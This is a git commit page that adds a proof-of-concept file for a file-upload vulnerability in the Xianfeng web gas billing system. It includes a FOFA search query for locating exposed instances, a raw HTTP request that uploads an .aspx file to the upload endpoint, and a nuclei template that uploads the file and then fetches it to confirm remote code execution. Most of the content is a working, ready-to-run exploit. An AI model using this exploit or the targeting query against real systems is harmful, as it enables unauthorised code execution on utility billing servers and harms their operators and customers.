mirror of
https://github.com/wy876/POC.git
synced 2025-02-27 04:39:25 +00:00
Create 先锋WEB燃气收费系统文件上传漏洞.md
This commit is contained in:
parent
68d6667f73
commit
a98d0cb1f2
95
先锋WEB燃气收费系统文件上传漏洞.md
Normal file
95
先锋WEB燃气收费系统文件上传漏洞.md
Normal file
@ -0,0 +1,95 @@
|
|||||||
|
## 先锋WEB燃气收费系统文件上传漏洞
|
||||||
|
|
||||||
|
## fofa
|
||||||
|
```
|
||||||
|
app="先锋WEB燃气收费系统"
|
||||||
|
```
|
||||||
|
|
||||||
|
## poc
|
||||||
|
```
|
||||||
|
POST /AjaxService/Upload.aspx HTTP/1.1
|
||||||
|
Host: target
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
||||||
|
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Content-Type: multipart/form-data; boundary=---------------------------352149293954742437289922451
|
||||||
|
Content-Length: 351
|
||||||
|
Origin: null
|
||||||
|
Connection: close
|
||||||
|
Upgrade-Insecure-Requests: 1
|
||||||
|
|
||||||
|
-----------------------------352149293954742437289922451
|
||||||
|
Content-Disposition: form-data; name="Fdata"; filename="123.aspx"
|
||||||
|
Content-Type: application/octet-stream
|
||||||
|
|
||||||
|
hello
|
||||||
|
-----------------------------352149293954742437289922451
|
||||||
|
Content-Disposition: form-data; name="submit"
|
||||||
|
|
||||||
|
Submin
|
||||||
|
-----------------------------352149293954742437289922451--
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## nuclei
|
||||||
|
```
|
||||||
|
|
||||||
|
id: xianfeng_files_upload
|
||||||
|
info:
|
||||||
|
name: xianfeng_files_upload
|
||||||
|
author: joyboy
|
||||||
|
severity: critical
|
||||||
|
description: 先锋WEB燃气收费系统文件上传漏洞
|
||||||
|
metadata:
|
||||||
|
max-request: 1
|
||||||
|
fofa-query: app="先锋WEB燃气收费系统"
|
||||||
|
verified: true
|
||||||
|
tags: rce
|
||||||
|
|
||||||
|
requests:
|
||||||
|
- raw:
|
||||||
|
- |-
|
||||||
|
POST /AjaxService/Upload.aspx HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
|
||||||
|
Content-Type: multipart/form-data; boundary=---------------------------352149293954742437289922451
|
||||||
|
Content-Length: 349
|
||||||
|
Origin: null
|
||||||
|
Connection: close
|
||||||
|
Upgrade-Insecure-Requests: 1
|
||||||
|
|
||||||
|
-----------------------------352149293954742437289922451
|
||||||
|
Content-Disposition: form-data; name="Fdata"; filename="123.aspx"
|
||||||
|
Content-Type: application/octet-stream
|
||||||
|
|
||||||
|
hello
|
||||||
|
-----------------------------352149293954742437289922451
|
||||||
|
Content-Disposition: form-data; name="submit"
|
||||||
|
|
||||||
|
Submin
|
||||||
|
-----------------------------352149293954742437289922451--
|
||||||
|
|
||||||
|
- |-
|
||||||
|
GET /UploadFile/{{date_time("%Y%M")}}/{{timestrp}} HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
|
||||||
|
extractors:
|
||||||
|
- type: regex
|
||||||
|
name: timestrp
|
||||||
|
internal: true
|
||||||
|
part: body
|
||||||
|
regex:
|
||||||
|
- '[0-9]{16}.aspx'
|
||||||
|
|
||||||
|
matchers-condition: and
|
||||||
|
matchers:
|
||||||
|
- type: word
|
||||||
|
part: body_2
|
||||||
|
words:
|
||||||
|
- hello
|
||||||
|
- type: status
|
||||||
|
status:
|
||||||
|
- 200
|
||||||
|
```
|
||||||
Loading…
x
Reference in New Issue
Block a user